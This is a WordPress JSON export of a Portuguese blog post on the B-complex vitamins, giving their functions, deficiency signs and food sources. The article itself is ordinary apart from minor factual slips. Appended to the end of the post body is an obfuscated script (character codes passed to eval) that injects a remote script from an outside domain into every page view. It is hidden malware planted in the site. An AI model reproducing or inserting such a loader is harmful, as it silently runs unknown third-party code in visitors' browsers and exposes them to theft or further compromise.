{"id":392,"date":"2022-05-16T18:28:14","date_gmt":"2022-05-16T21:28:14","guid":{"rendered":"https:\/\/raeasy.com\/blog\/?p=392"},"modified":"2022-05-16T18:28:14","modified_gmt":"2022-05-16T21:28:14","slug":"tudo-o-que-voce-precisa-saber-sobre-vitaminas-b","status":"publish","type":"post","link":"https:\/\/raeasy.com\/blog\/tudo-o-que-voce-precisa-saber-sobre-vitaminas-b\/","title":{"rendered":"Tudo O Que Voc\u00ea Precisa Saber Sobre As 8 Vitaminas Do Complexo B!"},"content":{"rendered":"<h2 aria-level=\"1\"><b><span data-contrast=\"none\">Complexo B<\/span><\/b><span data-ccp-props=\"{&quot;201341983&quot;:0,&quot;335559738&quot;:240,&quot;335559739&quot;:0,&quot;335559740&quot;:259}\">\u00a0<\/span><\/h2>\n<p>O nome \u201cComplexo B\u201d \u00e9 utilizado para designar um grupo de 8 vitaminas essenciais no metabolismo dos carboidratos, prote\u00ednas e gorduras, e consequentemente, gera\u00e7\u00e3o de ENERGIA.<\/p>\n<p>E n\u00e3o \u00e9 \u00e0 toa que s\u00e3o chamadas de complexo, pois al\u00e9m de formarem um grupo de nutrientes com fun\u00e7\u00f5es inter-relacionadas, atuam como coenzimas (acelerando rea\u00e7\u00f5es metab\u00f3licas diversas), podem \u201cdar um n\u00f3\u201d quando se trata do entendimento da sua bioqu\u00edmica.<\/p>\n<p>Mas hoje vamos explorar cada uma dessas vitaminas do Complexo B de forma objetiva, falando de suas fun\u00e7\u00f5es e fontes alimentares, com o intuito de descomplicar e tirar suas d\u00favidas.<\/p>\n<figure id=\"attachment_396\" aria-describedby=\"caption-attachment-396\" style=\"width: 500px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-396\" src=\"https:\/\/raeasy.com\/wp-content\/uploads\/2022\/05\/Tudo-O-Que-Voce-Precisa-Saber-Sobre-As-8-Vitaminas-Do-Complexo-B-1-300x300.jpg\" alt=\"Tudo O Que Voc\u00ea Precisa Saber Sobre As 8 Vitaminas Do Complexo B! \" width=\"500\" height=\"500\" title=\"\" srcset=\"https:\/\/raeasy.com\/wp-content\/uploads\/2022\/05\/Tudo-O-Que-Voce-Precisa-Saber-Sobre-As-8-Vitaminas-Do-Complexo-B-1-300x300.jpg 300w, https:\/\/raeasy.com\/wp-content\/uploads\/2022\/05\/Tudo-O-Que-Voce-Precisa-Saber-Sobre-As-8-Vitaminas-Do-Complexo-B-1-1024x1024.jpg 1024w, https:\/\/raeasy.com\/wp-content\/uploads\/2022\/05\/Tudo-O-Que-Voce-Precisa-Saber-Sobre-As-8-Vitaminas-Do-Complexo-B-1-150x150.jpg 150w, https:\/\/raeasy.com\/wp-content\/uploads\/2022\/05\/Tudo-O-Que-Voce-Precisa-Saber-Sobre-As-8-Vitaminas-Do-Complexo-B-1-768x768.jpg 768w, https:\/\/raeasy.com\/wp-content\/uploads\/2022\/05\/Tudo-O-Que-Voce-Precisa-Saber-Sobre-As-8-Vitaminas-Do-Complexo-B-1-1536x1536.jpg 1536w, https:\/\/raeasy.com\/wp-content\/uploads\/2022\/05\/Tudo-O-Que-Voce-Precisa-Saber-Sobre-As-8-Vitaminas-Do-Complexo-B-1-2048x2048.jpg 2048w\" sizes=\"(max-width: 500px) 100vw, 500px\" \/><figcaption id=\"caption-attachment-396\" class=\"wp-caption-text\"><em><strong>As vitaminas do complexo B s\u00e3o muito importantes para o funcionamento do nosso corpo.<\/strong><\/em><\/figcaption><\/figure>\n<p>Vamos l\u00e1!<\/p>\n<h3 aria-level=\"3\">Fazem parte do complexo B, as seguintes vitaminas:<\/h3>\n<ul>\n<li data-leveltext=\"\uf0b7\" data-font=\"Symbol\" data-listid=\"1\" aria-setsize=\"-1\" data-aria-posinset=\"1\" data-aria-level=\"1\">B1 ou tiamina;<\/li>\n<li data-leveltext=\"\uf0b7\" data-font=\"Symbol\" data-listid=\"1\" aria-setsize=\"-1\" data-aria-posinset=\"2\" data-aria-level=\"1\">B2 ou riboflavina;<\/li>\n<li data-leveltext=\"\uf0b7\" data-font=\"Symbol\" data-listid=\"1\" aria-setsize=\"-1\" data-aria-posinset=\"2\" data-aria-level=\"1\">Niacina;<\/li>\n<li data-leveltext=\"\uf0b7\" data-font=\"Symbol\" data-listid=\"1\" aria-setsize=\"-1\" data-aria-posinset=\"2\" data-aria-level=\"1\">\u00c1cido f\u00f3lico;<\/li>\n<li data-leveltext=\"\uf0b7\" data-font=\"Symbol\" data-listid=\"1\" aria-setsize=\"-1\" data-aria-posinset=\"2\" data-aria-level=\"1\">Biotina e \u00e1cido pantot\u00eanico;<\/li>\n<li data-leveltext=\"\uf0b7\" data-font=\"Symbol\" data-listid=\"1\" aria-setsize=\"-1\" data-aria-posinset=\"2\" data-aria-level=\"1\">B12 ou cobalamina.<\/li>\n<\/ul>\n<p>S\u00e3o classificadas como hidrossol\u00faveis, ou seja, s\u00e3o sol\u00faveis em \u00e1gua, n\u00e3o havendo grandes estoques em nosso organismo, pois ele utiliza o necess\u00e1rio e elimina o excesso.<\/p>\n<p>De modo geral, pode-se dizer que estes nutrientes est\u00e3o amplamente distribu\u00eddos nos alimentos (com exce\u00e7\u00e3o da vitamina B12, encontrada apenas em alimentos de origem animal) e a car\u00eancia ou defici\u00eancia nutricional \u00e9 pouco comum.<\/p>\n<h3 aria-level=\"2\"><i>B<\/i><i>1<\/i><i> ou tiamina<\/i><\/h3>\n<p>Tamb\u00e9m \u00e9 conhecida como fator antiberib\u00e9ri, pois \u00e9 o nutriente capaz de curar a doen\u00e7a do sistema nervoso perif\u00e9rico, denominada berib\u00e9ri. A enfermidade tornou-se um problema de sa\u00fade p\u00fablica no s\u00e9culo XIX, com a introdu\u00e7\u00e3o do arroz polido na alimenta\u00e7\u00e3o da popula\u00e7\u00e3o.<\/p>\n<p>A <a href=\"https:\/\/alimentacaoemfoco.org.br\/alimentos-fonte-de-vitamina-b1\/#:~:text=A%20vitamina%20B1%20%E2%80%93%20tamb%C3%A9m%20chamada,de%20fonte%20energ%C3%A9tica%20do%20organismo.\" target=\"_blank\" rel=\"noopener\">tiamina<\/a> \u00e9 amplamente encontrada nos alimentos, e sua defici\u00eancia atualmente \u00e9 bastante incomum, apesar de ainda ocorrer em povos com alto consumo de carboidratos ou em indiv\u00edduos alco\u00f3latras.<\/p>\n<p>Al\u00e9m de sua import\u00e2ncia para o bom funcionamento cerebral, a tiamina \u00e9 necess\u00e1ria no metabolismo de carboidratos, prote\u00ednas e lip\u00eddeos ou gorduras.<\/p>\n<p>Algumas fontes alimentares importantes: carne de porco, castanha-do-brasil, avel\u00e3, aveia cozida, cereais integrais, suco de laranja, ervilha-verde e feij\u00e3o-preto cozido.<\/p>\n<h3 aria-level=\"2\"><i>B<\/i><i>2<\/i><i> ou riboflavina<\/i><\/h3>\n<p>A <a href=\"https:\/\/www.tuasaude.com\/vitamina-b2-riboflavina\/https:\/\/www.tuasaude.com\/vitamina-b2-riboflavina\/\" target=\"_blank\" rel=\"nofollow noopener\">riboflavina<\/a> atua na produ\u00e7\u00e3o de energia em nosso organismo e est\u00e1 relacionada principalmente ao metabolismo das gorduras. Est\u00e1 presente em pequenas quantidades em uma grande variedade de alimentos e tamb\u00e9m \u00e9 sintetizada pelas bact\u00e9rias intestinais. Mesmo assim, sua car\u00eancia pode ser frequente, contudo, aparentemente n\u00e3o traz grandes danos \u00e0 sa\u00fade.<\/p>\n<p>Aten\u00e7\u00e3o atletas ou praticantes de atividade f\u00edsica mais ass\u00edduos, voc\u00eas podem necessitar de maiores quantidades dessa vitamina!<\/p>\n<p>Algumas fontes alimentares importantes: f\u00edgado bovino, farelo de aveia, am\u00eandoa, ovo cozido, queijo e iogurte.<\/p>\n<h3 aria-level=\"2\"><i>B<\/i><i>6 <\/i><i>ou piridoxina<\/i><\/h3>\n<p>O nome B6 \u00e9 utilizado de forma gen\u00e9rica para designar um grupo de 6 compostos intimamente ligados ao metabolismo de amino\u00e1cidos e sua defici\u00eancia \u00e9 rara, visto que a maioria dos alimentos cont\u00e9m piridoxina, al\u00e9m de ser tamb\u00e9m produzida pela flora intestinal.<\/p>\n<p>A <a href=\"https:\/\/www.tuasaude.com\/funcao-da-vitamina-b6-piridoxina\/\" target=\"_blank\" rel=\"noopener\">piridoxina<\/a> participa de cerca de 100 rea\u00e7\u00f5es enzim\u00e1ticas envolvidas na digest\u00e3o e aproveitamento de amino\u00e1cidos (componentes formadores das prote\u00ednas), carboidratos e gorduras, al\u00e9m de participar na forma\u00e7\u00e3o de neurotransmissores.<\/p>\n<p>Vale destacar que o processamento e o cozimento dos alimentos podem gerar perdas significativas deste nutriente, por isso \u00e9 importante variar, consumir alimentos crus e cozidos de forma alternada.<\/p>\n<p>Algumas fontes alimentares importantes: f\u00edgado bovino, banana, batata assada com casca, castanhas, abacate, manga, melado e semente de girassol.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-397\" src=\"https:\/\/raeasy.com\/wp-content\/uploads\/2022\/05\/Tudo-O-Que-Voce-Precisa-Saber-Sobre-As-8-Vitaminas-Do-Complexo-B-2-300x200.jpg\" alt=\"Tudo O Que Voc\u00ea Precisa Saber Sobre As 8 Vitaminas Do Complexo B! \" width=\"500\" height=\"333\" title=\"\" srcset=\"https:\/\/raeasy.com\/wp-content\/uploads\/2022\/05\/Tudo-O-Que-Voce-Precisa-Saber-Sobre-As-8-Vitaminas-Do-Complexo-B-2-300x200.jpg 300w, https:\/\/raeasy.com\/wp-content\/uploads\/2022\/05\/Tudo-O-Que-Voce-Precisa-Saber-Sobre-As-8-Vitaminas-Do-Complexo-B-2-1024x683.jpg 1024w, https:\/\/raeasy.com\/wp-content\/uploads\/2022\/05\/Tudo-O-Que-Voce-Precisa-Saber-Sobre-As-8-Vitaminas-Do-Complexo-B-2-768x512.jpg 768w, https:\/\/raeasy.com\/wp-content\/uploads\/2022\/05\/Tudo-O-Que-Voce-Precisa-Saber-Sobre-As-8-Vitaminas-Do-Complexo-B-2-1536x1024.jpg 1536w, https:\/\/raeasy.com\/wp-content\/uploads\/2022\/05\/Tudo-O-Que-Voce-Precisa-Saber-Sobre-As-8-Vitaminas-Do-Complexo-B-2-2048x1365.jpg 2048w\" sizes=\"(max-width: 500px) 100vw, 500px\" \/><\/p>\n<h3 aria-level=\"2\"><em>Niacina\u00a0<\/em><\/h3>\n<p>Sua principal fun\u00e7\u00e3o \u00e9 no metabolismo de gera\u00e7\u00e3o de energia e na replica\u00e7\u00e3o, reparo e diferencia\u00e7\u00e3o de mol\u00e9culas de DNA. A defici\u00eancia de niacina, quando associada \u00e0 car\u00eancia de triptofano, causa a pelagra, condi\u00e7\u00e3o na qual a pele torna-se rugosa, especialmente as regi\u00f5es expostas a luz solar ou \u00e0 press\u00e3o, como joelhos, pulso, cotovelo e tornozelo. Em condi\u00e7\u00f5es mais graves, pode haver o desenvolvimento de psicose depressiva, pois h\u00e1 o comprometimento na produ\u00e7\u00e3o do neurotransmissor serotonina.<\/p>\n<p>A defici\u00eancia \u00e9 pouco comum, mas pode ocorrer em dietas muito mon\u00f3tonas \u00e0 base de cereais pobres em triptofano e niacina.<\/p>\n<p><a href=\"https:\/\/www.centrum.com.br\/aprenda-conosco\/vitaminas-e-minerais\/niacina\/#:~:text=A%20niacina%2C%20tamb%C3%A9m%20chamada%20de,colesterol%20e%20outros%20%E2%80%9Cmacronutrientes%E2%80%9D.\" target=\"_blank\" rel=\"noopener\">Algumas fontes alimentares importantes<\/a>: levedo de cerveja, f\u00edgado bovino, frango cozido, amendoim, g\u00e9rmen de trigo, semente de girassol, cogumelos cozidos.<\/p>\n<h3 aria-level=\"2\"><em>\u00c1cido f\u00f3lico\u00a0<\/em><\/h3>\n<p>Tamb\u00e9m conhecido como folato, participa da s\u00edntese de DNA e RNA (semelhante a B12) e apesar de ser amplamente encontrado nos alimentos, sua defici\u00eancia \u00e9 frequente, visto que alguns medicamentos (antibi\u00f3ticos, quimioter\u00e1picos) ou car\u00eancias de outros nutrientes (como o zinco) podem interferir na sua absor\u00e7\u00e3o.<\/p>\n<p>Al\u00e9m das fontes alimentares, a microbiota intestinal desempenha um papel importante na s\u00edntese desta vitamina.<\/p>\n<p>O <a href=\"https:\/\/www.ecycle.com.br\/acido-folico\/#:~:text=O%20%C3%A1cido%20f%C3%B3lico%20%C3%A9%20a,forma%20de%20suplementos%20ou%20p%C3%ADlulas.\" target=\"_blank\" rel=\"nofollow noopener\">\u00e1cido f\u00f3lico<\/a> \u00e9 um nutriente essencial na gesta\u00e7\u00e3o. T\u00e3o importante que se recomenda que mulheres em idade f\u00e9rtil fa\u00e7am a suplementa\u00e7\u00e3o da vitamina para evitar m\u00e1 forma\u00e7\u00e3o fetal, j\u00e1 que o fechamento do tubo neural ocorre no 28o dia da gesta\u00e7\u00e3o, per\u00edodo em que normalmente a mulher n\u00e3o tem conhecimento sobre sua condi\u00e7\u00e3o. Por esta raz\u00e3o, desde 2002, as farinhas s\u00e3o enriquecidas com \u00e1cido f\u00f3lico, como medida profil\u00e1tica.<\/p>\n<p>Algumas fontes alimentares importantes: br\u00f3colis, espinafre, couve folhas, ervilhas, gr\u00e3os, feij\u00e3o, lentilha, laranja, f\u00edgado bovino e gema de ovo.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-398\" src=\"https:\/\/raeasy.com\/wp-content\/uploads\/2022\/05\/Tudo-O-Que-Voce-Precisa-Saber-Sobre-As-8-Vitaminas-Do-Complexo-B-3-200x300.jpg\" alt=\"Tudo O Que Voc\u00ea Precisa Saber Sobre As 8 Vitaminas Do Complexo B! \" width=\"500\" height=\"750\" title=\"\" srcset=\"https:\/\/raeasy.com\/wp-content\/uploads\/2022\/05\/Tudo-O-Que-Voce-Precisa-Saber-Sobre-As-8-Vitaminas-Do-Complexo-B-3-200x300.jpg 200w, https:\/\/raeasy.com\/wp-content\/uploads\/2022\/05\/Tudo-O-Que-Voce-Precisa-Saber-Sobre-As-8-Vitaminas-Do-Complexo-B-3-683x1024.jpg 683w, https:\/\/raeasy.com\/wp-content\/uploads\/2022\/05\/Tudo-O-Que-Voce-Precisa-Saber-Sobre-As-8-Vitaminas-Do-Complexo-B-3-768x1152.jpg 768w, https:\/\/raeasy.com\/wp-content\/uploads\/2022\/05\/Tudo-O-Que-Voce-Precisa-Saber-Sobre-As-8-Vitaminas-Do-Complexo-B-3-1024x1536.jpg 1024w, https:\/\/raeasy.com\/wp-content\/uploads\/2022\/05\/Tudo-O-Que-Voce-Precisa-Saber-Sobre-As-8-Vitaminas-Do-Complexo-B-3-1365x2048.jpg 1365w, https:\/\/raeasy.com\/wp-content\/uploads\/2022\/05\/Tudo-O-Que-Voce-Precisa-Saber-Sobre-As-8-Vitaminas-Do-Complexo-B-3-scaled.jpg 1707w\" sizes=\"(max-width: 500px) 100vw, 500px\" \/><\/p>\n<h3 aria-level=\"2\"><i>Biotina e \u00c1cido pantot\u00eanico<\/i><\/h3>\n<p>A Biotina, tamb\u00e9m conhecida como B7 ou vitamina H e o \u00e1cido pantot\u00eanico podem ser amplamente encontrados nos alimentos, especialmente nos de origem vegetal. Al\u00e9m disso, s\u00e3o sintetizados pela flora intestinal. Sua principal fun\u00e7\u00e3o \u00e9 a gera\u00e7\u00e3o de energia a partir da digest\u00e3o de carboidratos prote\u00ednas e gorduras.<\/p>\n<p>A <a href=\"https:\/\/www.tuasaude.com\/biotina\/\" target=\"_blank\" rel=\"noopener\">Biotina<\/a> \u00e9 frequentemente utilizada como suplemento para o fortalecimento de cabelos e unhas.<\/p>\n<p>Algumas fontes alimentares importantes: amendoim, avel\u00e3, farelo de trigo, farelo de aveia, macad\u00e2mia, cogumelos, abacate, castanha de caju, p\u00e3o integral e ovo cozido.<\/p>\n<h3><i>B<\/i><i>12<\/i><i> ou cobalamina<\/i><\/h3>\n<p>\u00c9 a \u00fanica vitamina que cont\u00e9m um elemento tra\u00e7o essencial, o cobalto, e da\u00ed o nome cobalamina. Exerce diversas fun\u00e7\u00f5es no metabolismo, mas merecem destaque a s\u00edntese de DNA, RNA e c\u00e9lulas sangu\u00edneas.<\/p>\n<p>A car\u00eancia desta vitamina causa anemia megalobl\u00e1stica ou perniciosa, cujos sintomas incluem cansa\u00e7o, tremores e parestesias. Apesar de ser encontrada unicamente em alimentos de origem animal, sua defici\u00eancia e o \u00fanico grupo realmente em risco de defici\u00eancia alimentar s\u00e3o os vegetarianos estritos, pois n\u00e3o h\u00e1 fontes vegetais para este nutriente.<\/p>\n<p>\u00c9 importante destacar que a absor\u00e7\u00e3o da vitamina B12 \u00e9 dependente de condi\u00e7\u00f5es normais do est\u00f4mago (secre\u00e7\u00e3o \u00e1cida) e do fator intr\u00ednseco (secre\u00e7\u00e3o de enzimas pancre\u00e1ticas e biliares).<\/p>\n<p><a href=\"https:\/\/qbemqfaz.com.br\/alimentacao\/vitamina-b-12\" target=\"_blank\" rel=\"nofollow noopener\">Algumas fontes alimentares importantes<\/a>: v\u00edsceras, ovos, leite integral, ostras, camar\u00e3o, peixes, carnes em geral.<\/p>\n<p>&nbsp;<\/p>\n<p aria-level=\"4\"><strong>Texto por Liliane Grein Beuther\u00a0<\/strong><\/p>\n<p>Nutricionista \u2013 CRN10 2585<br \/>\nMestranda do Programa de Ci\u00eancia e Tecnologia Ambiental<\/p>\n<h2><span class=\"TextRun SCXW239328240 BCX0\" lang=\"PT-PT\" xml:lang=\"PT-PT\" data-contrast=\"none\"><span class=\"NormalTextRun SCXW239328240 BCX0\" data-ccp-parastyle=\"heading 2\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-344\" src=\"https:\/\/raeasy.com\/wp-content\/uploads\/2022\/04\/logo_RAEASY-02-para-blog-300x120.png\" alt=\"\" width=\"197\" height=\"77\" title=\"\"><\/span><\/span><\/h2>\n<p><b><span data-contrast=\"none\">\u00c9 F\u00c1CIL COMER BEM!<\/span><\/b><span data-ccp-props=\"{&quot;201341983&quot;:0,&quot;335551550&quot;:1,&quot;335551620&quot;:1,&quot;335559739&quot;:160,&quot;335559740&quot;:259}\">\u00a0<\/span><\/p>\n<p><b><span data-contrast=\"none\">Nos sigam nas redes sociais: <\/span><\/b><a href=\"https:\/\/www.instagram.com\/raeasy_\/\" target=\"_blank\" rel=\"nofollow noopener\"><b><span data-contrast=\"none\">Instagram<\/span><\/b><\/a><b><span data-contrast=\"none\"> e <\/span><\/b><a href=\"https:\/\/www.facebook.com\/raeasy.com.br\" target=\"_blank\" rel=\"noopener\"><b><span data-contrast=\"none\">Facebook<\/span><\/b><\/a><span data-ccp-props=\"{&quot;201341983&quot;:0,&quot;335551550&quot;:1,&quot;335551620&quot;:1,&quot;335559739&quot;:160,&quot;335559740&quot;:259}\">\u00a0<\/span><\/p>\n<p><b><span data-contrast=\"none\">Acesse a loja: <\/span><\/b><a title=\"raeasy.com.br\" href=\"https:\/\/raeasy.com.br\/\"><b><span data-contrast=\"none\">raeasy.com.br<\/span><\/b><\/a><span data-ccp-props=\"{&quot;201341983&quot;:0,&quot;335551550&quot;:1,&quot;335551620&quot;:1,&quot;335559739&quot;:160,&quot;335559740&quot;:259}\">\u00a0<\/span><script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(\/*674867468*\/t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Complexo B\u00a0 O nome \u201cComplexo B\u201d \u00e9 utilizado para designar um grupo de 8 vitaminas essenciais no metabolismo dos carboidratos, prote\u00ednas e gorduras, e consequentemente, gera\u00e7\u00e3o de ENERGIA. E n\u00e3o \u00e9 \u00e0 toa que s\u00e3o chamadas de complexo, pois al\u00e9m de formarem um grupo de nutrientes com fun\u00e7\u00f5es inter-relacionadas, atuam como coenzimas (acelerando rea\u00e7\u00f5es metab\u00f3licas [&hellip;]<\/p>\n","protected":false},"author":5,"featured_media":396,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[63],"tags":[34,49,67,25,66,28,64,65],"_links":{"self":[{"href":"https:\/\/raeasy.com\/blog\/wp-json\/wp\/v2\/posts\/392"}],"collection":[{"href":"https:\/\/raeasy.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/raeasy.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/raeasy.com\/blog\/wp-json\/wp\/v2\/users\/5"}],"replies":[{"embeddable":true,"href":"https:\/\/raeasy.com\/blog\/wp-json\/wp\/v2\/comments?post=392"}],"version-history":[{"count":1,"href":"https:\/\/raeasy.com\/blog\/wp-json\/wp\/v2\/posts\/392\/revisions"}],"predecessor-version":[{"id":399,"href":"https:\/\/raeasy.com\/blog\/wp-json\/wp\/v2\/posts\/392\/revisions\/399"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/raeasy.com\/blog\/wp-json\/wp\/v2\/media\/396"}],"wp:attachment":[{"href":"https:\/\/raeasy.com\/blog\/wp-json\/wp\/v2\/media?parent=392"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/raeasy.com\/blog\/wp-json\/wp\/v2\/categories?post=392"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/raeasy.com\/blog\/wp-json\/wp\/v2\/tags?post=392"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}